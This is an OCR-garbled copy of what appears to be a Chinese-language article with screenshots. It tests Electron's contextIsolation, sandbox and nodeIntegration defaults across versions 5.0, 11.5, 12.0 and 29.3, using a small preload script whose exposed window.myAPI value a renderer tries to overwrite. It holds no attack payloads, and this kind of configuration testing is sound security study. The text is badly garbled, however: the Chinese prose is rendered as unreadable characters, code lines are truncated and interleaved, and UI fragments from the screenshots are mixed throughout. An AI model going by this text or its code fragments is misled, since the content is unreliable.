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FAINE ISP LATE BrowserWindow 1Ji&755HHY webPreferences 17EIN R4 MINNE!

(]
*E o
const { BrowserWindow } = require('electron')

const win = new BrowserWindow( {
webPreferences: {

preload: 'path/to/preload.js'

EAFTNNHEHES N EEZEZRE—N2F window MO, FHEALIAR Node.js API , Ffr
UEBEEELE window FRBEE API RigmEHEE, UEMHMNIIANSFER,

NRRABLTXIEE, Preload MK ZNTERBLERHAENSAWT

window.myAPI = {

desktop: true

console.log(window.myAPTI)

AR LETXMRER, Preload MK HEZHN T ERELLTES Fi®1d contextBridge

const { contextBridge } = require('electron')

contextBridge.exposeInMainWorld( 'myAPI',

desktop: true
})
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https://mp.weixin.qq.com/s/BpZCobA5f2ZVZykmjGgrbQ

Welcome to fish, the friendly interactive shell

. Type for instructions on how to use fish
->

v5.0.0

5

Hello World!

We are using Node.js 12.0.0, Chromium 73.0.3683.119, and Electron 5.0.0.

St

5
Saved files to
Electron v5.0.C
Fontconfig warn

Electron exited
Saving files tc
Saved files to
Electron v5.0.0
Fontconfig war

& Editors (©)
[ index.html

[ main.js

[ preload.js

[ renderer.js

Content-Security-Policy"

self'; script-src 'self'"

X-Content-Security-Policy"

self'; script-src 'self'"
r1d!

D) Hello World!

Renderer Process (renderer.js) X Preload (preload.js)
Modules

MEERTE,

fel Electronv5.0.0 » Run [ Console

Editors HH Main Process (main.js) " X HTML (index.html)

]
[ index.html o

[ main.js r = require('electron")

[ preload.js charset="UTF-8"
k]

renderer.js createWindow () {

http-equiv="Content-Security-Policy"
mainWindow = Brov dc content="default-src 'self'; script-src 'self'"
width: 800, http-equiv="X-Content-Security-Policy"
height: 600, content="default-src 'self'; script-src 'self'"
webPreferences: { Hello World!

preload: path.join(__dirname, 'preload.js')
}
H) Hello World!
We are using Node.js id="node-version"
Chromium id="chrome-version"
and Electron id="electron-version"

mainWindow.loadFile('index.html")

Renderer Process (renderer.js) Preload (preload.js)
Modules

window.addEventListener('DOMContentLoaded', () => {
replaceText = (selector, text) => {
element = document.getElementById(selector)
(element) element.innerText = text

console. log/(window.myAPI))

¢ type ['chrome', 'node', 'electron']) {
replaceText( ${type}-version’, process.versions[type])
¥
D)

window.myAPI = |{
desktop:
H




B Stop  [3 Console & © Publish

Saving files to temp directory...

Saved files to /tmp/electron-fiddle-7771 _ArnVruAlinY i
Electron v5.0.0 started.
Fontconfig warning: "/usr/share/fontcol

Y ﬂ Elements Console Sources Network Performance  »

Hello World! B © |w v | ® | Fiter Default levels v &

v Object renderer.js:8
desktop: true
» proto : Object

We are using Node.js 12.0.0,
Chromium 73.0.3683.119, and
Electron 5.0.0.

@ Editors ® Main Process (main.js)

[ index.html
[ main.js {app, Br
[ preload.js FEl = (Y

D renderer.js createW

mainWind
width: 800,
height: 600,

Renderer Process (renderer.js)
Modules

(0) ==

i(selector)
(element) element.innerText
console. log(window.myAPTI))

( type ['chr <iE {
replaceText( ${type} n process.versions[type])

BJIUEE], £ Electron 5.0 H, ERHFAIEMINITEIH T preload BIZASH window XRHY
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Electronv5.0.0 » Run B3 Console

Editors Main Process (main.js) HTML (index.html)

index.html

mlsEilE path = require('path') charset="UTF-8

=
k]
[j main.js {app, BrowserWind = require('electron')
]
k]

renderer.js createWindow () K
http-equiv="Content-Securi Policy
mainWindow = Br Window({ content="default c 'self'; script-src 'self'"
width: 800, http-equiv="X-Content-Security-Policy"
height: 600, content="default-src 'self'; script-src 'self'"
webPreferences: { Hello World!
contextIsolation:
preload: path.join(__dirname, 'preload.js"')
} Hello World!
b We are using Node.js id="node-version"
Chromium id="chrome-version"
and Electron id="electron-version

mainWindow.loadFile('index.html")

Renderer Process (renderer.js) Preload (preload.js)
Modules

window.addEventListener('DOMContentLoaded', () => {
replaceText = (selector, text) => {
element = document.getElementById(selector)
(element) element.innerText = text

console. log(window.myAPI|)

( type ['chrome', 'node', 'electron']) {
replaceText( ${type}-version", process.versions[type])
¥
)

window.myAPI =
desktop:
b

B Stop [ Console 2 & © Publish

Saving files to temp directory...

Saved files to /tmp/electron-fiddle-7771-xYKf111MSAGm

Electron v5.0.0 started.

Fontconfig warning: "/usr/share/fontconfig/conf.avail/05-reset-dirs-sample.conf", line 6: unknown element "reset-dirs"

Elements Console Sources Network Performance  »

fa@ Editors Main Process (main.js) Hello World! v @ | Fiter Default levels v

[ index.html ed renderer.js:8
o We are using Node.js 12.0.0,

B mainjs SCLLPREIE Chromium 73.0.3683.119, and

[ preload.js CEXBEEE Flectron 5.0.0.

[ renderer.js create!

mainWin
width: 800,
height: 60
webPrefere
contextIs
preload:
}

Renderer Process (renderer.js)
Modules

p O =
{
Id(selector)

console. log(win

ectron']) {
s.versions[type])

QETTEU E"Jéﬁ%% undefined




iXiFEEH, T:I_: Electron 5.0 ‘:F', contextIsolation E"Jgklk{ﬁjg false

Electron 12.0

s 2021-03-02 (1139 days ago) & 89.0.4389.69 (9 14.16.0

join@Electron:~$ nvm list

(
(default)
(default)
( ) (default)
( ) (default)
1ts/iron (

1ts/carbon

1ts/dubnium

1ts/erbium

1ts/fermium

1ts/gallium

1ts/hydrogen

1ts/iron

join@Electron:~$ nvm use 14.16.0
Now using node v14.16.0 (npm v6.14.11)
join@Electron:~$ node -v
v14.16.0

join@Electron:~$

BAF 7% d Nodeds 14.16.0 , FRLUXEEHEZEYRkRAENA]



W Stop B3 Console

& © Publish
Saved files to /tmp/electron-fiddle-7771-2W8xoGf6welj

Electron v12.0.0 started.

T Editors [V Se—— Hello World!

[ index.html

A_ We are using Node.js 14.16.0, Chromium 89.0.4389.69, and Electron 12.0.0.
D main.js {appl

[ preload.js Pl = (R

[ renderer.js create

mainWin
width: 800,
height: 60
webPreferer
preload:
b
)

Renderer Process (renderer.js)
Modules

« OF=>{
{

Id(selector)
console. log(win

ectron']) {
s.versions[type])

HEBFIFR FHITNIR

N

o] Electronv12.0.0 » Run [ Console

@ Editors @ Main Process (main.js)

HTML (index.html)
index.html
H {app, BrowserWindc = require('e
O main.js path = require('path')
[ preload.js

createWindow () [{

charset="UTF-8"
[ rendererjs

mainWindow = Bro
width: 800,

height: 600,
webPreferences: {

http-equiv="Content-Security-Policy" content="default-src 'self'
cript-src 'self'"
http-equiv: ontent-Securit
cript-src 'self'"
Hello World!
preload: path.join(__dirname, 'preload.js')

y-Policy" content="default-src 'self'
b

B Hello World!

We are using Node.js

Chromium id="chrome

and Electron id

mainWindow.loadFile( ' index.html') "electron-version"
mainWindow.webContents . openDevTools()

src="./renderer.js"

app.whenReady(). then(() => { Preload (preload.js)
Modules createWindow()

Renderer Process (renderer.js)

window. addEventListener('DOMContentLoaded", () => {
replaceText = (selector, text) => {
element = document.getElementById(selector)
(element) element.innerText = text

( type of ['chrome', 'node
console. log((window.myAPI))

., 'electron']) {
replaceText( ${type}-v

sion’, process.versions[type])
H
window.myAPT = [

desktop:
L

AMIEEIRBIZE, £ Deepin Linux Lt Electron 12.0 EVIERAFE bug
ETH, FRUTENER alert HNANHITRIE




£eo3 Electronv12.00 » Run  [&] Console : & © Publish

@ Editors @ Main Process (main.js) " X HTML (index.html)
D) index.html
{app, BrowserWindow} = require(elec
O main.js path = require('path')
- charset="UTF-8"
D pretoads createWindow () {
D) rendererjs
mainWindow =

width: 800,

height: 600,

webPreferences: |{ Hello World!

preload: path.join(__dirname, 'preload.js')
iy Hello World!

9] We are using Node.js 1d="node-versiof
Chromium id="chrome-version" ,
and Electron id="electron-version"

mainWindow.loadFile('index.html')

Renderer Process (renderer.js)

Preload (preload.js)

window.myAPI !== 'undefin window.myAPI.desktop !== ‘undefined') {
alert('contex tion is false'); window.addEventListener('DOMContentLoaded', () => {
replaceText = (selector, text) => {
alert('context tion is true'); element = document.getElementById(selector)
(element) element.innerText = text

( type of ['chrome’, 'r , 'electron'l) {
replaceText (" ${type}-version’, process.versions[type])

13l

window.myAPT = [{
desktop:
i

| Stop [ Console

Saving files to temp directory...
Saved files to /tmp/electron-fiddle-7771-FMYf2WLdphQm
Electron v12.0.0 started.

faw Editors Main Process (main.js)

D) indexhtml .
app, Browserh
[ main.js path = require(

charset="UTF-8"
D preloadjs createWindow (|
D renderer.js
mainWindow =
width: 800,
height: 600,
webPreferences: { Hello World!

preload: path.joil
lello World!

Renderer Process (renderer.js) re using Node.js
nium id="chrome
Electron id

Modules

JddEventListener('DOMContentLoaded', () => {
replaceText = (selector, text) => {

element = document.getElementById(selector)
element) element.innerText = text

window. myAPT]

( type of ['chrome', 'node’, ctron']) {
replaceText( ${type}-version', process.versions[type])

13}
window.myAPT = [

desktop:
H

A LIEH, £ Electron 12.0 HIZRIA contextIsolation BVEN true , BIENIAFEL
TXRE

3|§7_r contextIsolation Eﬁﬂﬂlﬁ%jﬂ false




o] Electronv12.0.0 » Run

@ Editors Main Process (main.js) HTML (index.html)
index.html
{app, BrowserWindow} = require('electron’)
main.js path = require('path')
charset="UTF-8"
preload.js createwindow () {
renderer.js
mainWindow = Br
width: 800,
height: 600,
webPreferences: | Hello World!
contextIsolation: .
preload: path.join(_dirname, 'preload.j
¥ Hello World!
i) We are using Node.js node-version’
Chromium
and Electron
mainWindow. loadFile("

Renderer Process (renderer.js)

Preload (preload.js)
Modules
window.myAPT ! fined window.myAPI . desktop !
alert(’contextIsolation se'); window. addEventListener('DOMContentLoaded’, () => {
{ replaceText = (selector, text) => {
alert('contextls tion is true'); element = document.getElementById(selector)
(element) element.innerText = text

( type ['chrome', 'node', 'electron']) {
replaceText( ${type}-version’, process.versions[type])

b

window.myAPT = [
desktop:
i

B Stop  [3 Console

Saving files to temp directory...
Saved files to /tmp/electron-fiddle-7771-ENxCiiIGxWx6
Electron v12.0.0 started.

Hello World!

Main Pi in.j
Edics MG o We are using Node.js , Chromium

index.html

— {app, B
main.js path = require(
preload.js . gl i
createWindow (|
renderer.js
mainWindow =
width: 800,
height: 600,
webPreferences: { Hello World!
contextIsolation
preload: path.joi

Renderer Process (renderer.js) . id
"chrome-versi

id="electron-version"

Modules

ddEventListener('DOMContentLoaded', (

replaceText = (selector, text) => {
element = document.getElementById(s

element) element.innerText = text

( window.myAPT
alert('cont
{

alert('cont

( type ['chrome', 'node', C
replaceText( ${type}-version’, process.ve

b

window.myAPI = |
desktop:

BXIEER L ERYES
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Electron Releases AllReleases  History PR Lookup  Website

Electron Releases

Filter by channel

Release Notes for v11.5.0

© Stable
Regular, supported releases Other Changes

» Security: Backported fix for 1227933. #30614 (Also in 12)
 Security: Backported fix for 1231134. #30761

Test upcoming changes « Security: Backported fix for 1233564. #30755

« Security: Backported fix for 1234009. #30751

« Security: Backported fix for 1234764. #30659 (Also in 12)

& Prerelease

i Nightly
Experiment with the latest features End of Support for 11.x.y
Filter by major release Electron 11.x.y has reached end-of-support as per the project's support policy. Developers and
" applications are encouraged to upgrade to a newer version of Electron.
X v

©.v11.5.0 on GitHub i 2021-08-31 (957 days ago) & 87.0.4280.14

Release Notes for v11

Fixes

Electron 11.5.0

£ A Elecronv11.5.0 » Run [ Console

f@ Editors ® Main Process (main.js) X HTML (index.html)

[ indexhtml

{ap)
O main.js path

charset="UTF-8"
B it createWindow () {
T soriesm
mainWindow =
width: 800,
ght: 600,
Preferences: [ Hello World!

preload: path.join(__dirname, 'preloa
Hello World!
We are using Node
Chromium id
and Electron
mainWindow. loadFile( ' in

Renderer Process (rendererjs)

Preload (preload.js)
Modules

( ‘undefined' && window.myAPI.desktop !== 'undefined') {
alert(’ i

1{
alert('conte on is true');

element = document.getElementById(selector)
(element) element.innerText xt

( type of ['c r tron']) {
replaceText( " ${type}-version", versions[type])

b

window.myAPI = {

desktop:
X




® Stop B3 Console

Saving files to temp directory...

Saved files to /tmp/electron-fiddle-7771-qg20YAO7Tg6
Electron v11.5.0 started.

(node:43767) electron: The default of contextIsolation is deprecated and will be changing from false to true in a future release of Electron.

information

& Editors Main Process (main.js)

D index.html E
{app, BrowserWi

O main.js path = require(

[ preload js createWindow (|
[ renderer.js
mainWindow =
width: 800,
height: 600,
webPreferences: [

preload: path.joil

Renderer Process (renderer.js)

Modules

¢ window. myAP]]
alert(" contextIsol
{

alert(’

3|?r contextIsolation

#¥ [ Electronvil.5.0 » Run [ Console

@ Editors [C] Main Process (main.js)

[ indexhtml
{app, BrowserWindow} = require(’

D main.js path = require('patt

D preloadjs createWindow () {
D) rendererjs
mainWindow = new Browserhindo

width: 800,
height: 600,
webPreferences: [

contextIsolation ,

preload: path.join(_dirname, 'p

b

mainWindow.loadFile( " in

Renderer Process (renderer.js)

Modules

« window.myAPT !
alert('contextIsolation is

alert('contextIsolation is true');

electr

See https://github.com/electron/electron/issues/23506 for more

charset="UTF-8"

Hello World!

ello World!
e using Node. js id="node
ium id="chrome
Electron id="electron-version"

ersior

ersion”

dEventListener(’DONContentLo
replaceText = (selector, text) => {

element = document.getElementById(selector)
lement) element.innerText = text

( type ['chrome’, 'node', 'electron'l) {
replaceText( ${type}-version’, process.versions[typel)

b

window.myAPI = [
desktop
i

. X HTML(indexhtml)

charset="UTF

Hello World!

Hello World!
We are using Node.js id
Chromium id="chrome-version"
and Electron

Preload (preload.js)

window.myAPT .desktop !== ‘undefined') {
window. addEventListener('DONContentLoaded" ,
replaceText = (selector, text) => {
element = document.getElementById(selector)
(element) element.innerText = text

0 =1

( type of ['chrome’,
replaceText (" ${type}-

}
b

‘node’, 'electron'l) {

rsion’, process.versions[typel)

window.myAPT = [{
desktop:
i




r

(
replaceText( " ${type:
}

AUEY, £ 11.5.0 HRAEH, contextIsolation EFRIAEN false

it

contextIsolation ?ﬁik%&i&ﬁjg false IEE}% Electron 12.0.0 ;:Ftlf:‘ﬂ'g

0x04 contextIsolation Ayt

contextIsolation FTFXIREHNMREERAMZLEENTMIE? XEXZMHAUT=
TeeicE

¢ nodelIntegration
e contextIsolation

e sandbox

J:—’;%Pq?&ﬁﬂ‘]ﬁiim, Tj_; Electron 5.0 E_GE, sandbox: true E’\Ji‘ﬂ%*_g{, JHSZL‘;TK
M = RS

e Electron 5.0.0

F16T1/H 670



e Electron 12.0.0
e Electron 29.3.0
ZI2IH nodeIntegration NMIZASFM contextIsolation , MEMBEE T ME

nodeIntegration {E/J false HIBHEBF M, [G¥FM Electron 5.0 FIREEZRIAN

false

sandbox HIELWEEMEY, BEMMEIE sandbox: true BB, £ Electron 20.0
Ejgﬁi&?*ﬁ% sandbox

mMmBEXXMAIENEZREN—T preload FEEME num HIRE—MRHRERENG
Egﬂg, &DEEﬂ%E&QENQ, WUEEﬁ% contextIsolation works well

foE R
REeMREBEFS contextIsolation sandbox nodeIntegration
1 true false false
2 false true false
3 false false false

Electron 5.0

AtE 1

contextIsolation: true

sandbox: false

nodeIntegration: false

XPMHEZmBEENHL Y, XEBAMKIRUEH—T

F17W /#6770



3 Electronv5.0.0 » Run

& Editors Main Process (main.js)

HTML (index.htmi)
[ index.html

D mainjs {app, BrowserWindow} = require('electron')

D) preload.js path = require('path’ charset="UTF-8"

Hello World!
D rendererjs

createWindow () {

D renderer2js mainWindow = new BrowserWindow({ Hello World!
width: 800, We are using Node.js "node-version"
height: 600, Chromium id="chr ion"

webPreferences: and Electron id=" on-version”

contextIsolation:
sandbox: o
preload: path.join(__dirname, 'preload.js') new-num new number
M onclick=check_it()>REVEEGHIE
2]

"./renderer
mainWindow.loadFile('index.html")

mainWindow.webContents .openDevTools()
}

Preload (preload.js)
Modules

app.whenReady() . then(() => {
createWindow! \ window.myAPT = [{
Renderer Process (renderer.js) num: 12138,

check_it = () => { show_num: () => { document.getElementById("show-new-number").innerText = window.myAPI.num }
window.myAPI !== 'undefined') { X

window.myAPT.num = 10000
window.myAPT . show_num()
} {
document . getElementByTd(" i-number") . innerText =
"contextIsolation works well"

i

window. addEventListener('DOMContentLoaded', () => {
replaceText = (selector, text) => {
element = document.getElementById(selector)
(element) element.innerText = text

i3

« type ['chr ., 'node’, 'electron']) {
replaceText( ${type}-ver , process.versions[typel)

replaceText("show-origin-number", window.myAPI.num)

B Stop (3] Console

TUITCCUTTT L WaT 1Ll 7 UST /7 Siarers 1

unknown element “"reset-dirs"

[98057:0415/163833.199106: ERROR: gles2_cmd_decoder.cc(18104)] [.DisplayCompositor]GL ERROR :GL_INVALID_OPERATION : glCreateAndConsumeTextureCHROMIUM: invalid ma
[98057:0415/163833.199159: ERROR: gles2_cmd_decoder.cc(10403)] [.DisplayCompositor ]JRENDER WARNING: texture bound to texture unit 0 is not renderable. It maybe no

Electron exited with code 0.

Saving files to temp directory...

Saved files to /tmp/electron-fiddle-7771-HnjhbOegcG2J
Electron v5.0.0 started.

Starting inspector on 127.0.0.1:9229 failed: address 4
Fontconfig warning: "/usr/share/fontconfig/conf.avail

Hello World!

@ Editors - Main Process (main.js)

We are using Node.js 12.0.0, Chromium 73.0.3683.119, and Electron 5.
. 8 J
D el o Ccreatewinaow ( 12138
C contextIsolation works well <«
Wind
in.j mainwindow =

B mainis Gk GOD FEEHIEHTE
height: 600,
[ renderer.js webPreferences:

[ preload.js

ZIMBLY Preload BJAHHY num (BRI EFXIRERERFE=

AtE 2

Electron 5.0 {E Deepin Linux L+ TAFER sandbox: A sandbox
MIEETE windows _EHITIOUE

contextIsolation: false
sandbox: true

nodelIntegration: false




<« P search

File Edit Selection View Go Run Terminal Help

Manage  Learn More
C: > Users > join > Desktop > electron-5.0-test > IS ren|

Restricted Mode is intended for safe code browsing. Trust this window to enable all features

X m - s s ¢ indexhtm j

> P es > M sandbox  C: > Users > join > Desktop > electron-5.0-test > <> indexhtml > C: > Users > join > Desktop > electron-5.0-test > IS preload s >
YPE html - const check_it = () => {

if (typeof window.myAPI !== '

window.myAPI.num = 10000

window.myAPT . show_num

} else {
document. getElementById("s

5 mainjs

injs > @ a > el

window.myAPT = {
num: 12138,
show_num: ()

)

window.addEventListener( ' DOMContentlLoaded" ,
t replaceText = (selector, text) =>
t element = document.getElementById(

if (element) element.innerText = text

= require(elect

onst {app, BrowserWindow

path = require(’path')
charset="UTF-8"

le>Hello World!
> { document.getElementById

ons

function createWindow () {
Hello World!

We are using Node.j

Chromium <span i

and Electron <sp.

mainWindow = new BrowserWindow(

width: 80@,

height: 600,

webPreferences: [{
contextIsolation: f
sandbox: tri 4 ,
preload: path.join(__dirname,

il

)

an id="node-ver

hrome-version”

alse , “electron-version

*preloa di how-origin-number”></di
div i W-new-number”>new_number-

onclick=check_it()>REUEBUSAIE

for (const type of ['chrome', 'node’, 'ele
replaceText (" ${type}-version, process.\

replaceText ("show-origin-number”, window.n

H

pt src="./renderer.js"

mainWindow.loadFile( index.html')

mainWindow.webContents.openDevTools ()

app.whenReady () .then(() => {

<«

) File Edit Selecton View Go Run Terminal Help

Restricted Mode is intended for safe code browsing. Trust this window to enable all features.

m - s

X
C: > Users > join > Desktop > electron-5.0-test > <> index.html > ..

Manage Learn More

JS main js Js <> index.ht
injs > @ createWindow > [€] mainWindow > /2 webPreferences > 42 sandbox C: > Users > join > Desktop > electron-5.
onst {app, BrowserWindow} = require(‘elect
const path = require('path’)
windouw muADT — [

function createWindow () {
nst mainWindow = new BrowserWindow(
width: 800,
height: 600,
webPreferences: {
contextIsolation:
sandbox: true ,
preload: path.join(__dirname,

We are using Node.js 12.0.0, Chromium 73.0.3683.119, and Electron 5.0.0.

'preloa
12138

new number

REUEHUERIE

-~

mainWindow.loadFile( ‘index.html")

RiE¥EHRE

&«

) File Edit Selecton View Go Run Terminal Help
Manage Learn More

Restricted Mode is intended for safe code browsing. Trust this window to enable all features.

JS mainjs X om0 ee s

iinjs > @ createWindow > [@] mainWindow > 42 webPreferences > /2 sandbox = C: > Users > join > Desktop > electron-5.0-test > <> index.html > ..
st {app, BrowserWindow} = require('elect

windnuw muADT — f

path = require('path")

ion createWindow () {

BrowserWindow(

onst mainWindow =
width: 869,
height: 600,

L4

webPreferences: {

contextIsolation: fal

sandbox: true ,

S

‘preloa

preload: path.join(__dirname,

mainWindow.loadFile(‘index.html")

D

We are using Node.js 12.0.0,
12138

10000

REUEBUEEIE

0.3683.119, and Electron 5.0.0.




BE 3 MAFTENAT

Electron 5.0 24

fE Electron 5.0 EP, contextIsolation Eéiiﬂﬂﬁﬁﬂﬁ@ﬂ%i?E?é, géﬁﬂ
contextIsolation E,Eﬂﬁﬂ:ﬁ Tﬂ\%’ﬁr ’ ﬁk“ﬂ*’%ﬁ%%i?y

Electron 12.0

ficE 1

contextIsolation: true

sandbox: false

nodeIntegration: false

XTELRZAEZENAI T, XEBAHNKENL—T

## (3 Elecronv12.0.0 » Run [ Console

@ Editors @ Main Process (main.js) HTML (index.html)

[ index.html

html
0 main.js {app.

[ preload,s

000 0

D rendererjs createWindow () {

]

D renderer2js TR = Br " ( Hello World!

width: 800 We are using N

height: 600, Chromium

webPreferences: [ and Electron
contextIsolation: 5
sandbox : . igin-num
preload: path.join(__dirname, '

p ) mber">n
eck_it()

.loadFile( i

Preload (preload.s)
Modules

app.whenReady().then(()

createlindowl )

Renderer Process (renderer.js)
check_it = () => 0 ( { document.getElementById( mber").innerText = window.myAPI.num }
( window.myAPT
window.myAPT .num
window. myAPT . show_num( ) window. addEventListener(
{ replaceText =
ocument . getElementByIc number™).innerText = element = document.getEL
ation works wel (element) element.innerTes

( type ['c
replaceText( ${type}

replaceText("show-origin-number", window.myAPI.num)

B20m/#67 ]



B Stop  [3] Console

Saving files to temp directory...
Saved files to /tmp/electron-fiddle-7771-wBlq1Zswx1x4

Electron v12.0.0 started.
Starting inspector on 127.0.0.1:9229 failed: address already in use

Hello World!

~ = ) o
@ Editors RisibPrccess (malnlz) We are using Node.js 144670, Chromium 89.0.4389.69, and Electron 12.0.0.
[ index.html 12138

new number
D maingjs const {app, BrowserWin NIBPRNEIEY
D) preloadjs path = require -

[ renderer.js c createWindow (

RfieH

B Stop [3 Console

Saving files to temp directory...

Saved files to /tmp/electron-fiddle-7771-wBlq1Zswx1x4

Electron v12.0.0 started.

Starting inspector on 127.0.0.1:9229 failed: address already in use

Hello World!

We are using Node.js 14.16.0, Chromium 89.0.4389.69, and Electron 12.0.0.
12138
contextIsolation works well ¢

{app, Browseriin R T
path = require( -

@ Editors Main Process (main.js)
[ index.html
O main.js

[ preload.js

[ renderer.js
[ renderer2.js

o 0 0 0

createWindow (

]

t mainWindow =

ZIMBLY Preload BIASHRY num ERMR L FXIREREEME=, REEBW

fcdE 2

Electron 12.0 1f Deepin Linux +FTEFERH sandbox: true , FTLl sandbox: true
HIERSIE windows _EIHITIOUE

contextIsolation: false

sandbox: true

nodelIntegration: false

£2171 /67T



File Edit Selection View Go Run Terminal Help

Restricted Mode is intended for safe code browsing. Trust this window to enable all features.

35 mai 5
injs > @ bPreferenc
st {app, Broy

st path = require(

on createWindow () {
st mainWindow
webPreferences: [

contextIsolation: f
sandbox: tru:

preloa h.join(__dirname, ‘preloa

i

mainWindow.loadFile('index.html"’)

mainWindow.webContents.openDevTools()

Go Run Termina

Restricted Mode is intended for safe code browsing. Trust this window to enable all features.
J5 mainjs X

injs > @ Prefer Y
serWindow} = require(’elect
path = require(’path’)

1 createWindow () {

main
width: 800,
height: 600,
webPreferences: {
contextIsolation: f
sandbox: {Er
preload: path.join(__dirname,

12 ®

mainWindow.loadFile('index.html"

mainWind Contents.openDevTools ()

app.whenReady () .then(() =
createWindow

app.on('ac e ion () {
if (Browser getAllWindows () .lengt!

OUTPUT TERMINAL

PS C:\Users\join\Desktop\electron-5.@-test> npm run star

electron .

R HE

& O Search

Manage  Leam More

s

ta charset="UTF

window
Hello World!

num:

show_t document . getElementById

115Hello World!</hl
We are using Node.js
Chromium <span id=
and Electron

window.addEventListener (' DOMCol
cor replaceText = (selector, text
st e t

document . getElementById(

if (element) element.inner’

show-or

show-ni “>new number:

onclick=check_it()>MREVEBISAIE for st type

replaceText(

replaceText ("
hH

in-number”, window.n

Manage  Learn More

PE html

charset="UTF-.
tle>Hello World!

@ Hello World!
File Edit View Window Help

Hello World!

We are using Nod
12138

new number
FREVEBUSAYE

14.16.0, Chromium 89.0.4389.69, and Electron 12.0.0.

electron-5.0-test@1.0.0 start C:\Users\join\Desktop\electron-5.0-test

$22T/H 67T

p=

s > join

> D

t check_it
if (typ

document . getElemen|




) File Edit ection  View Run Terminal Help =
Restricted Mode is intended for safe code browsing. Trust this window to enable all features. nage Learn More

Js mainjs X m - s

injs > @ createWindow > [l mainWindow > 42 webPreferences > /2 X : > Users > join > Desktop > electron-5.0-test > <> index.html > C: > Users > join > Desktop > electron-5.0-test > JS preload.js >

TYPE html
t {app, BrowserWindow} = require(‘elect ;
t path = require('path"’)
charset="UTF-8" window.myAPT
on createWindow () { title>Hello World! g num: 12138,

- . @ Hello World!
const mainWindow = new BrowserWindow(
width: 800, File Edit View Window Help
height: 600,
webPreferences: { H II W Idl
contextIsolation: false , e o Or .

sandbox: true ,

\ EICEE [PERdN e _CHRTENS) relier] We are using Nodejs 14.16.0, Chromium 89.0.4389.69, and Electron 12.0.0.

REUERUEHYE

mainWindow.loadFile( "index.html")

mainWindow.webContents.openDevTools()

}

app.whenReady().then(() => {
createWindow:

app.on('activate’, function () {

if (BrowserWindow.getAllWindows().lengtl
2

ROBLEMS ~ OUTPUT ONSOLE ~ TERMINAL  PORTS
PS C:\Users\join\Desktop\electron-5.0-test> npm run start

> electron-5.0-test@1.0.0 start C:\Users\join\Desktop\electron-5.0-test
> electron .

sandbox: true ;#Zzﬁgﬁﬁﬂ%Jiqtsz%EEE@&ygﬁ, E%%ﬁ contextIsolation ?9 true EjZTEU
A

& 3 MAFENA Y

Electron 12.0 B4t

fE Electron 12.0 EP, contextIsolation EaiiﬂﬂﬁﬁﬂﬁﬁﬂﬁiﬂEéé, ééﬁﬂ
contextIsolation [5,BMEARBT W, KIBFAZRELTX

Electron 29.3

AtE 1

contextIsolation: true

sandbox: false

nodeIntegration: false




#£¥ & Electronv29.3.0 » Run [ Console

[C] Main Process (main.js) HTML (index.html)

html

D mainjs {app, eriing

[ preload.js path = require('r charset="UTF

Hello World!
[ renderer.js createWindow () {

D renderer2js mainWindow = Srowserhindo Hello Vorld!
We are using Nod
Chromium
and Electron

umb new number
click=check_

Preload (preload.js)
Modules

.then(() => {

nd
Renderer Process (renderer.js) num
check_it {

( v.myAPT !
window.myAPT.num = 10

/APT . show_num() window. addEventL.

replaceT

tElementById("show-new-number").innerText = element

-nunber").innerText = window.myAPI.num }

( type ['c
replaceText(  ${type}-ver sions[type])
¥

replaceText("show-origin-nu . window. myAPI.num)

B Stop B3] Console

Saving files to temp directory...

Saved files to /tmp/electron-fiddle-7771-3TShP147At1n

Electron v29.3.0 started.

Starting inspector on 127 0.1:9229 failed: address already in use

[136816:0415/172130.427074: ERROR :browser_main_loop.cc(278)] GLib-GObject: g_value_set_boxed: assertion 'G_VALUE_HOLDS_BOXED (val '
[136858:0415/172130.74932 RROR:gl_surface_presentation_helper.cc(260)] GetVSyncParametersIfAvailable() failed for 1 times!
[136858:0415/172130.763786:ERROR: gl_surface_presentation_helper.cc(260)] GetVSyncParametersIfAvailable() failed for 2 times!
[136858:0415/172130.780216:ERROR: gl_surface_presentati Hello World!

failed

Hello World!

‘We are using Node.js 20.9.0, Chromium 122.0.6261.156, and Electron 29.3.0.
12138

new number /

tapp, Browserwinc gEATECIN

path = require(

& Editors Main Process (main.js)
[ index.html
O main.js

[ preload.js
(] derer.js

0 0 0 ¢

createWindow (

]

[ renderer2.js

mainWindow =
width: 800,
height: 600,
webPreferences: {
contextIsolation

F24T1/H67]



B Stop [ Console

Saving files to temp directory...

Saved files to /tmp/electron-fiddle-7771-3TShP147At1n

Electron v29.3.0 started.

Starting inspector on 127.0.0.1:9229 failed: address already in use
[136816:0415/172130.427074:ERROR: browser_main_loop.cc(278)] GLib-GObject: g_value_set_boxed: assertion 'G_VALUE_HOLDS_BOXED (valug
[136858:0415/172130.749321:ERROR: gl_surface_presentation_helper.cc(260)] GetVSyncParametersIfAvailable() failed for 1 times!
[136858:0415/172130.763786:ERROR: gl_surface_presentation_helper.cc(260)] GetVSyncParametersIfAvailable() failed for 2 times!
[136858:0415/172130.780216:ERROR: gl_surface_presentati

Hello World!

Hello World!

e are using Node.js 20.9.0, Chromium .0. .156, and Electron 29.3.0.
W ing Node.js 20.9.0, Chromium 122.0.6261.156, and El 29.3.0
[ index.html 12138
D contextIsolation works well

main.js {app, BrowserWi FEUERENE
b piclsadie path = require( AR

@ Editors Main Process (main.js)

[ renderer.js createWindow (

ZIABLN Preload MIZASHH num ERYHE E T XIRESEEEMELZ,

contextIsolation: false
sandbox: true

nodeIntegration: false

Electron Fidd
f |

#¥ [ Electronv29.3.0 » Run

@ Editors Main Process (main.js) HTML (index.html)
[ index.html

O mainjs {app, Brows w} = require(’electron’)
. path = require(path’) charset="UTF-8"

D pretoadjs Hello World!
[ renderer.js createWindow () [{
[ renderer2js mainWindow = BrowserWindow({ Hello World!
width: 800, We are using Node.js
height: 600, Chromium
webPreferences: { and Electron

contextIsolation:

sandbox: , g

preload: path.join(__dirname, 'preload.js’ : new-number ">new number

3 onclick=check_it()>HEVER/EHIE
H

src="./renderer.js"|
mainWindow. loadFile( ' index.html ")

Preload (preload.js)
Modules

app.whenReady () . then(() => {
createlindow! ) window.nyAPT = {
Renderer Process (renderer.js) num: 12138,
check_it = () => { show_num: () => { document.getElementById("show-new-number").innerText = window.myAPI.num }
window.myAPT == 'undefined') ¥
window.myAPI.num = 10000
window.myAPT . show_num() window. addEventListener('DOMContentLoaded', () => {
e replaceText = (selector, text) => {
document . getElementById("show-new-number").innerText = element = document.getElementById(selector)
works well" (element) element.innerText = text

( type of ['chrome', 'node’, 'electron'l) {
replaceText( ${type}-version’, process.versions[type])

replaceText("sh igin-number”, window.myAPI.num)

25T /67T




W Stop B3] Console

Saving files to temp directory...

